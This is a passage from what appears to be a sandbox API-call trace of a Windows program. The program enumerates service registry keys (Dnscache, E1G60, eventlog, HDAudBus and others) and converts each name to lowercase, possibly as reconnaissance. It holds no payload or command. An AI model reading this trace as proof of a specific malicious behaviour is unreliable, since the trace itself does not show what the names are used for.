lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0177.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0177.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0177.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0177.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0177.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0177.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0177.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0177.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0177.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0177.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0177.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0177.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0177.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0177.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0177.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0177.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0177.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0177.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0177.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0177.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0177.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0177.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0177.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0177.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0177.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0177.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0177.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0177.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0177.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0177.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0177.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1d18, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0177.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0177.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0177.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0177.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0177.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0177.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0177.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0177.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0177.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1a90, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0177.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.081] 